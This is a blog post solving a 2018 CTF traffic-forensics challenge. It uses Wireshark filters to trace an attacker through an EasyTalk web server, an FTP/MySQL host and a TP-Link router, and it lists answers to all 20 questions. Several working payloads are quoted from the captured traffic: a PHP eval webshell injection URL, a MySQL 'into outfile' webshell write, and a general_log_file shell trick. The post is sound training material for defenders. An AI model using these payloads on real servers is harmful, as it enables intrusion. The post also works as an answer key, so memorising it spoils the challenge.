Sky's blog

2018.5.18信息安全铁人三项赛数据赛题解

字数统计: 3,856阅读时长: 17 min
2018/05/31 Share

题目描述

1.黑客的IP是多少
2.服务器1.99的web服务器使用的CMS及其版本号(请直接复制)
3.服务器拿到的webshell的网址(请输入url解码后的网址)
4.服务器1.99的主机名
5.网站根目录的绝对路径(注意最后加斜杠)
6.黑客上传的第一个文件名称是什么
7.黑客进行内网扫描,扫描的端口都有哪些(端口从小到大,用英文逗号分隔)
8.服务器2.88的ftp服务账号密码(格式:账号/密码)
9.黑客成功登陆ftp的时间(格式:10:15:36)
10.黑客在ftp中下载的敏感文件名称是什么
11.服务器2.88中用户名为admin_zz的web后台管理员的密码
12.服务器2.88的mysql账号密码(格式:账号/密码)
13.服务器2.88的mysql服务中有和admin有关的三个表,请按照黑客的查询顺序作答,使用空格分隔
14.请列出黑客设置的genreal log的绝对路径(将路径复制出来,区分大小写)
15.路由器的品牌、型号、版本(请直接复制粘贴)
16.列出路由器的所有IP地址(格式:从小到大,用英文逗号分隔)
17.在路由器的端口监控中,监控端口和被监控端口分别是多少,例,1号端口监控2/3/4号端口:1—>2,3,4
18.路由器一共有几个接口?其中有几个WAN口启用?有几个LAN口启用(格式:用英文逗号分隔)
19.路由器的系统路由表中一共有几条?第三条的子网掩码是多少。例: 255 255.255.0则为24 (格式:用英文逗号分隔)
20.路由器的5Gwif名称是什么,信道是多少(格式:名称信道)

第一个数据包

上来先过滤http流量,随意浏览

可以发现202.1.1.2执行了phpinfo()命令
无疑是黑客ip,而192.168.1.99显然就是受害者了
我们进一步利用这一特点,进行过滤

1
(ip.addr == 202.1.1.2 || ip.addr == 192.168.1.99) && http

为确定服务器使用的CMS和版本号,我们抽取一个192.168.1.99的响应,看看前端响应里会不会包含
随意跟踪一个ip.src==192.168.1.99的http响应
我们定位到Powered by
不难发现

版本号和CMS一目了然

1
EasyTalk X2.0.1

同时利用

1
(ip.addr == 202.1.1.2 || ip.addr == 192.168.1.99) && http

过滤不难看出有如下url

解码后得到

1
http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST[c]))}

即可利用的webshell
随后想起有phpinfo,即可以泄露大量服务器信息,我们去拷贝下响应的html源码

保存到本地,打开即可看到许多信息
服务器1.99的主机名和网站根目录的绝对路径一目了然


答案分别为

1
2
simplefight1
/var/www/html/easytalk

接着既然要找出上传文件,于是使用过滤

1
ip.addr == 202.1.1.2 && http.request.method == POST

不然找到如下信息

解码z1查看文件名

1
/var/www/html/easytalk/scan.php

发现为scan.php
顾名思义,扫描,于是我们过滤这个文件,查看黑客的扫描

1
ip.addr == 202.1.1.2 && http contains "scan.php"

问题一目了然

可见起始ip:192.168.0.1
结束ip:192.168.3.255
扫描端口:21,80,8080,1433,3306
至此我们归纳一下答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.黑客的IP是多少
202.1.1.2
2.服务器1.99的web服务器使用的CMS及其版本号(请直接复制)
EasyTalk X2.0.1
3.服务器拿到的webshell的网址(请输入url解码后的网址)
http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST[c]))}
4.服务器1.99的主机名
simplefight1
5.网站根目录的绝对路径(注意最后加斜杠)
/var/www/html/easytalk
6.黑客上传的第一个文件名称是什么
scan.php
7.黑客进行内网扫描,扫描的端口都有哪些(端口从小到大,用英文逗号分隔)
21,80,8080,1433,3306

第二个数据包

既然要找ftp的账号密码,肯定是利用之前打下的机子作为跳板,进一步攻击内网
那么此时我们只需要过滤

1
ip.src == 192.168.1.99 && ftp

即可查看所有登录信息

选中最后一项
不难看出账户密码为:administrator:123456
然后再过滤

1
ip.addr == 192.168.1.99 && ftp

找到对应密码为123456登录的消息

可以看到登录时间

1
14:07:15

可以发现黑客在第二个数据包里只进行了操作

1
2
3
4
CWD 改变工作目录
PWD 打印工作目录,返回主机的当前目录
PASV 进入被动模式
LIST 如果指定了文件或目录,返回其信息;否则返回当前工作目录的信息

而下载命令为

1
RETR 传输文件副本

所以我们切换到第三个数据包中

第三个数据包

我们根据之前的分析,使用命令

1
ip.src == 192.168.1.99 && ftp contains "RETR"

即可一目了然

下载文件名为

1
/phpStudy/WWW/config/config_db.php

我们跟进查看一下,毕竟是重要配置文件

1
ip.addr == 192.168.1.99 && ftp-data


可以得到配置

1
2
3
4
5
6
7
8
9
10
<?php
/*
con_db_host = "localhost"
con_db_id = "root"
con_db_pass = "S1mp13zz"
con_db_name = "met"
tablepre = "met_"
db_charset = "utf8";
*/
?>

即mysql账号密码:localhost/S1mp13zz
下面我们去寻找admin_zz的密码

1
ip.addr == 192.168.1.99 && http contains "admin_zz"

答案同样一目了然

密码为1q2w3e4r
然后需要我们查找admin相关的表,但是我们知道,表前缀为:met_
所以我们可以过滤

1
ip.addr == 192.168.1.99 && mysql contains "met_"


结果依旧显然,正好3个查询,3个有关管理员的表也出现了

1
2
3
select * from met_admin_array
select * from met_admin_column
select * from met_admin_table


1
met_admin_array,met_admin_column,met_admin_table

我们来总结一下这个阶段的答案

1
2
3
4
5
6
7
8
9
10
11
12
8.服务器2.88的ftp服务账号密码(格式:账号/密码)
administrator:123456
9.黑客成功登陆ftp的时间(格式:10:15:36)
14:07:15
10.黑客在ftp中下载的敏感文件名称是什么
config_db.php
11.服务器2.88中用户名为admin_zz的web后台管理员的密码
1q2w3e4r
12.服务器2.88的mysql账号密码(格式:账号/密码)
localhost/S1mp13zz
13.服务器2.88的mysql服务中有和admin有关的三个表,请按照黑客的查询顺序作答,使用空格分隔
met_admin_array met_admin_column met_admin_table

第四个数据包

我们直接过滤

1
ip.addr == 192.168.1.99 && mysql

不难发现,黑客想在192.168.2.88的机器上留shell

1
select '<?php eval($_POST[a]);?>' into outfile 'c:/phpStudy/WWW/aaa.php'

但是返回了错误

1
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

于是黑客进行了一系列的更改
在后续的一条操作中,可以明显看到

1
set global general_log_file='c:/phpStudy/WWW/config/config.php'

路径为

1
c:/phpStudy/WWW/config/config.php

同时可以确定192.168.2.88为一台windows

路由器hacking

剩下的5个题均为路由器的题,这就很难受了,之前一直很少接触路由器的流量分析
后来转念一想,路由器一般都是192.168.0.1吧
于是我查了一下这个ip

1
ip.addr == 192.168.0.1 && http


发现的确是有web服务的
我们进行查找

很快,在第一个返回200的包里就找到了答案

1
{ "id":1, "result":{ "locale":"zh_CN", "force":false, "radio":2, "model":"TL-WAR1300L v1.0" }, "error_code":"0" }

答案为

1
TL-WAR1300L v1.0

我们系统的看一下这些流量,不难发现,黑客先进行了密码爆破

而之前的登录error_code均为700
可见最后黑客成功登入
然后黑客进行了read选项

才有了如上的版本信息
然后我们看到黑客进行了如下操作

然后得到回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
{ 
"id": 1,
"result": {
"normal": [{
"py_isup": false,
"ipaddr": "",
"t_type": "ethernet",
"t_isup": "disconnect",
"t_name": "WAN1",
"t_linktype": "dhcp"
},{
"py_isup": false,
"ipaddr": "",
"t_type": "ethernet",
"t_isup": "disconnect",
"t_name": "WAN2",
"t_linktype": "dhcp"
},{
"py_isup": false,
"ipaddr": "",
"dhcp_status": "on",
"t_type": "ethernet",
"t_name": "LAN1",
"t_isup": "disconnect",
"t_linktype": "static"
}, {
"py_isup": false,
"ipaddr": "",
"dhcp_status": "on",
"t_type": "ethernet",
"t_name": "LAN2",
"t_isup": "disconnect",
"t_linktype": "static"
}, {
"py_isup": false,
"ipaddr": "",
"dhcp_status": "on",
"t_type": "ethernet",
"t_name": "LAN3",
"t_isup": "disconnect",
"t_linktype": "static"
}]
},
"error_code": "0"
}

目前2个wan和2个LAN都是关闭状态,py_isup清晰可见
接着后面又出现了一个类似的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
{
"id":1,
"result":{
"normal":[
{
"py_isup":true,
"ipaddr":"202.1.1.1",
"t_type":"ethernet",
"t_isup":"connect",
"t_name":"WAN1",
"t_linktype":"static"
},
{
"py_isup":true,
"ipaddr":"192.168.12.173",
"t_type":"ethernet",
"t_isup":"internet",
"t_name":"WAN2",
"t_linktype":"dhcp"
},
{
"py_isup":true,
"ipaddr":"192.168.0.1",
"dhcp_status":"on",
"t_type":"ethernet",
"t_name":"LAN1",
"t_isup":"connect",
"t_linktype":"static"
},
{
"py_isup":true,
"ipaddr":"192.168.0.1",
"dhcp_status":"on",
"t_type":"ethernet",
"t_name":"LAN2",
"t_isup":"connect",
"t_linktype":"static"
},
{
"py_isup":false,
"ipaddr":"192.168.0.1",
"dhcp_status":"on",
"t_type":"ethernet",
"t_name":"LAN3",
"t_isup":"disconnect",
"t_linktype":"static"
}
]
},
"error_code":"0"
}

此时可以发现一共有5个接口,其中WAN1、WAN2、LAN1、LAN2均被打开
并且ip为:

1
2
3
202.1.1.1
192.168.12.173
192.168.0.1

故此16,18题均被解答
然后是子网掩码的问题,这里我选择搜索网关相关内容

1
ip.addr == 192.168.0.1 && http contains "gateway"

然后可以发现如下数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
{
"id":1,
"result":[
{
"metric":"0",
"gateway":"192.168.12.254",
"mask":"0.0.0.0",
"dest":"0.0.0.0",
"interface":"WAN2"
},
{
"metric":"0",
"gateway":"0.0.0.0",
"mask":"255.0.0.0",
"dest":"127.0.0.0",
"interface":"lo"
},
{
"metric":"0",
"gateway":"0.0.0.0",
"mask":"255.255.252.0",
"dest":"192.168.0.0",
"interface":"LAN"
},
{
"metric":"0",
"gateway":"0.0.0.0",
"mask":"255.255.255.0",
"dest":"192.168.12.0",
"interface":"WAN2"
},
{
"metric":"0",
"gateway":"0.0.0.0",
"mask":"255.255.255.0",
"dest":"202.1.1.0",
"interface":"WAN1"
}
],
"error_code":"0"
}

所以一共有5条,第三条为

1
2
3
4
5
6
7
{
"metric":"0",
"gateway":"0.0.0.0",
"mask":"255.255.252.0",
"dest":"192.168.0.0",
"interface":"LAN"
}

子网掩码为255.255.252.0
至此19题完结
然后最后问到信道,于是我的过滤为

1
ip.addr == 192.168.0.1 && http contains "channel"


得到数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
{
"id":1,
"result":{
"1":{
"mssid":[
"test-ge1"
],
"wds":"off",
"channel":36,
"mode":"11anac mixed",
"radio_enable":"on",
"amount":0,
"frequency":"5G"
},
"0":{
"mssid":[
"test-ge1"
],
"wds":"off",
"channel":1,
"mode":"11bgn mixed",
"radio_enable":"on",
"amount":1,
"frequency":"2.4G"
},
"2":{
"mssid":[
"TP-LINK_GUEST_6258"
],
"amount":0,
"mode":"11bgn mixed",
"radio_enable":"off",
"frequency":"visitor"
}
},
"error_code":"0"
}

重点为

1
2
3
4
5
6
7
8
9
10
11
"1":{
"mssid":[
"test-ge1"
],
"wds":"off",
"channel":36,
"mode":"11anac mixed",
"radio_enable":"on",
"amount":0,
"frequency":"5G"
}

可以清晰看到,名称为test-ge1,信道为36
然后是最最蛇皮的17问:在路由器的端口监控中,监控端口和被监控端口分别是多少,例,1号端口监控2/3/4号端口:1—>2,3,4
这个我可以说相当薄弱了,并不是很懂,但是其中提及端口,于是我的关键词为

1
ip.addr == 192.168.0.1 && http contains "port"

数据并不是很多,看到最后有

1
{ "id":1, "result":{ "state":"on", "mode":"both", "mirroredports":[ "1", "2" ], "mirrorport":"3" }, "error_code":"0" }

可以断定答案为

1
3-->1,2

最后阶段归纳一下答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
14.请列出黑客设置的genreal log的绝对路径(将路径复制出来,区分大小写)
c:/phpStudy/WWW/config/config.php
15.路由器的品牌、型号、版本(请直接复制粘贴)
TL-WAR1300L v1.0
16.列出路由器的所有IP地址(格式:从小到大,用英文逗号分隔)
192.168.0.1,192.168.12.173,202.1.1.1
17.在路由器的端口监控中,监控端口和被监控端口分别是多少,例,1号端口监控2/3/4号端口:1-->2,3,4
3-->1,2
18.路由器一共有几个接口?其中有几个WAN口启用?有几个LAN口启用(格式:用英文逗号分隔)
5,2,2
19.路由器的系统路由表中一共有几条?第三条的子网掩码是多少。例: 255 255.255.0则为24 (格式:用英文逗号分隔)
5,255.255.252.0
20.路由器的5Gwif名称是什么,信道是多少(格式:名称信道)
test-ge136

后记

最后完整答案为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
1.黑客的IP是多少
202.1.1.2
2.服务器1.99的web服务器使用的CMS及其版本号(请直接复制)
EasyTalk X2.0.1
3.服务器拿到的webshell的网址(请输入url解码后的网址)
http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST[c]))}
4.服务器1.99的主机名
simplefight1
5.网站根目录的绝对路径(注意最后加斜杠)
/var/www/html/easytalk
6.黑客上传的第一个文件名称是什么
scan.php
7.黑客进行内网扫描,扫描的端口都有哪些(端口从小到大,用英文逗号分隔)
21,80,8080,1433,3306
8.服务器2.88的ftp服务账号密码(格式:账号/密码)
administrator:123456
9.黑客成功登陆ftp的时间(格式:10:15:36)
14:07:15
10.黑客在ftp中下载的敏感文件名称是什么
config_db.php
11.服务器2.88中用户名为admin_zz的web后台管理员的密码
1q2w3e4r
12.服务器2.88的mysql账号密码(格式:账号/密码)
localhost/S1mp13zz
13.服务器2.88的mysql服务中有和admin有关的三个表,请按照黑客的查询顺序作答,使用空格分隔
met_admin_array met_admin_column met_admin_table
14.请列出黑客设置的genreal log的绝对路径(将路径复制出来,区分大小写)
c:/phpStudy/WWW/config/config.php
15.路由器的品牌、型号、版本(请直接复制粘贴)
TL-WAR1300L v1.0
16.列出路由器的所有IP地址(格式:从小到大,用英文逗号分隔)
192.168.0.1,192.168.12.173,202.1.1.1
17.在路由器的端口监控中,监控端口和被监控端口分别是多少,例,1号端口监控2/3/4号端口:1-->2,3,4
3-->1,2
18.路由器一共有几个接口?其中有几个WAN口启用?有几个LAN口启用(格式:用英文逗号分隔)
5,2,2
19.路由器的系统路由表中一共有几条?第三条的子网掩码是多少。例: 255 255.255.0则为24 (格式:用英文逗号分隔)
5,255.255.252.0
20.路由器的5Gwif名称是什么,信道是多少(格式:名称信道)
test-ge136

没想到最后竟然突然来了个路由器hacking,完全摸不到边,纯靠题目转英文进行过滤……
最蛇皮的是最后2个包都没用到,希望可以加强自身各种类型的流量分析的能力吧= =

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 题目描述
  2. 2. 第一个数据包
  3. 3. 第二个数据包
  4. 4. 第三个数据包
  5. 5. 第四个数据包
  6. 6. 路由器hacking
  7. 7. 后记